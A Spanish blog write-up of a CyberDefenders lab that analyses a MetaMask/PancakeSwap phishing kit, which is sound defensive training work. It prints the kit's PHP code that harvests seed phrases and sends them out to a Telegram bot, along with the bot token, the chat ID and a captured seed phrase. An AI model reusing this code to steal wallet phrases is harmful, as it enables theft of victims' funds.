GrabThePisher - Cyberdefenders

elc4br4elc4br4
5 min read

En esta ocasión vamos a analizar a nivel básico un kit de phising para poder responder a una serie de preguntas que se nos plantean.

⚠️ ¡No será necesario usar ninguna herramienta salvo Visual Code Studio!


Escenario

An attacker compromised a server and impersonated https://pancakeswap.finance/, a decentralized exchange native to BNB Chain, to host a phishing kit at https://apankewk.soup.xyz/mainpage.php. The attacker set it as an open directory with the file name "pankewk.zip".

Provided the phishing kit, you as a soc analyst are requested to analyze it and do your threat intel homework.

Tras descargar y extraer el archivo .zip tenemos la siguiente estructura de archivos y directorios.

Es básicamente la estructura de una web.


Q1

Q1: Which wallet is used for asking the seed phrase?

Se nos pide averiguar que cartera está siendo usada, ya que se nos solicita la seed phrase, que es un mecanismo de seguridad formado por una serie de palabras.

Si revisamos un poco la estructura de archivos y de directorios que hemos visto anteriormente podremos dar con un directorio llamado metamask, el cuál contiene en su interior un archivo .php y un index.html.
Si abrimos el archivo index.html en nuestro navegador veremos lo siguiente:

Por lo que ya podemos deducir que la wallet que nos solicita la seed phrase es metamask.


Q2

Q2: What is the file name that has the code for the phishing kit?

En esta cuestión se nos solicita que descubramos el nombre del archivo que contiene el código del kit de phising, por lo que la respuesta es metamask.php, ya que si abrimos el archivo podremos ver lo que realiza este código, que lo explicaré a continuación un poco por partes.

  1. Lo primero que hace es obtener la ubicación IP a través de una solicitud GET a una API, en este caso la api de sypexgeo, usando la IP de la víctima, después la almacena en la variable $_SERVER y después convierte la respuesta JSON de la api en un objeto php.
$request = file_get_contents("http://api.sypexgeo.net/json/".$_SERVER['REMOTE_ADDR']); 
$array = json_decode($request);
  1. Extrae los datos geográficos, obtiene el nombre del país y el de la ciudad tras la respuesta de la API en el paso anterior.

    Además de eso también guarda la fecha actual.

$geo = $array->country->name_en;
$city = $array->city->name_en;
$date = date("m.d.Y");
  1. Construye un mensaje HTML donde se incluye un saludo, el campo con el nombre de la billetera, la seed phrase que viene de un formulario, la dirección IP y el User-Agent de la víctima.
$message = "<b>Welcome 2 The Jungle </b> 
<b>Wallet:</b> Metamask
<b>Phrase:</b> <code>" . $_POST["data"] . "</code>
<b>IP:</b> " .$_SERVER['REMOTE_ADDR'] . " | " .$geo. " | " .$city. "
<b>User:</b> " . $_SERVER['HTTP_USER_AGENT'] . "";
  1. Enviar el mensaje a Telegram, a través de la función sendTel
sendTel($message);
  1. Se define la función sendTel, que haciendo uso de la API de Telegram envía un mensaje utilizando un _token_ de bot y un _chat_id_ para enviar el mensaje a un usuario o grupo en concreto.

    Después guarda la seed phrase en un archivo llamado log.txt ubicado en /log.

function sendTel($message){
    $id = "5442785564"; 
    $token = "5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10"; 
    $filename = "https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$id."&text=".urlencode($message)."&parse_mode=html";
    file_get_contents($filename);
    $_POST["import-account__secret-phrase"]. $text = $_POST['data']."\n";;
    @file_put_contents($_SERVER['DOCUMENT_ROOT'].'/log/'.'log.txt', $text, FILE_APPEND);    
}
  1. En resumen, lo que hace es capturar una serie de datos de la víctima, en concreto lo más importante es la seed phrase que es la frase de recuperación de la wallet y enviarla a un grupo/usuario de Telegram.

Q3

Q3:In which language was the kit written?

En esta cuestión hay poco que comentar, el kit está escrito en PHP.


Q4

Q4: What service does the kit use to retrieve the victim's machine information?

El servicio que usa el kit de phising para obtener la información sobre el dispositivo del usuario que accede es sypexgeo, que como hemos podido ver anteriormente usa su API para extraer los datos de ip y geolocalización.


Q5

Q5: How many seed phrases were already collected?

Sabemos que las seed phrases que obtienen los atacantes las envían junto a los demás datos a un grupo de Telegram a través de un bot y que después las almacenan en un archivo llamado log.txt ubicado en el directorio /log.

Por lo tanto solo debemos dirigirnos a dicho directorio y abrir el archivo de texto.


Q6

Q6: Write down the seed phrase of the most recent phishing incident?

father also recycle embody balance concert mechanic believe owner pair muffin hockey


Q7

Q7: Which medium had been used for credential dumping?

El medio a través del cuál se filtran y transmiten todos los datos es vía Telegram a través de un bot.


Q8

Q8: What is the token for the channel?

El token que identifica el canal de Telegram lo tenemos dentro del código PHP almacenado en la variable $token

5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10


Q9

Q9: What is the chat ID of the phisher's channel?

El ID del chat es 5442785564, que también aparece en el código PHP almacenado en la variable $id.


Q10

Q10: What are the allies of the phish kit developer?

Debemos averiguar quiénes son los aliados del desarrolador del kit de phising.
Si revisamos bien el código php veremos un comentario que llama bastante la atención...

/*
 With love and respect to all the hustler out there,
 This is a small gift to my brothers,
 All the best with your luck,

 Regards, 
 j1j1b1s@m3r0

 */

Q11 & Q12

Q11: What is the full name of the Phish Actor?
Q12: What is the username of the Phish Actor?

En esta cuestión se nos pide averiguar el nombre completo de la persona que hace el phising y su usuario.
Para ello que hago es hacer una consulta a la api basándome en los datos del código PHP.

https://api.telegram.org/bot5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10/sendMessage?chat_id=5442785564&text=HOLA&parse_mode=html

0
Subscribe to my newsletter

Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

elc4br4
elc4br4

Cybersecurity Student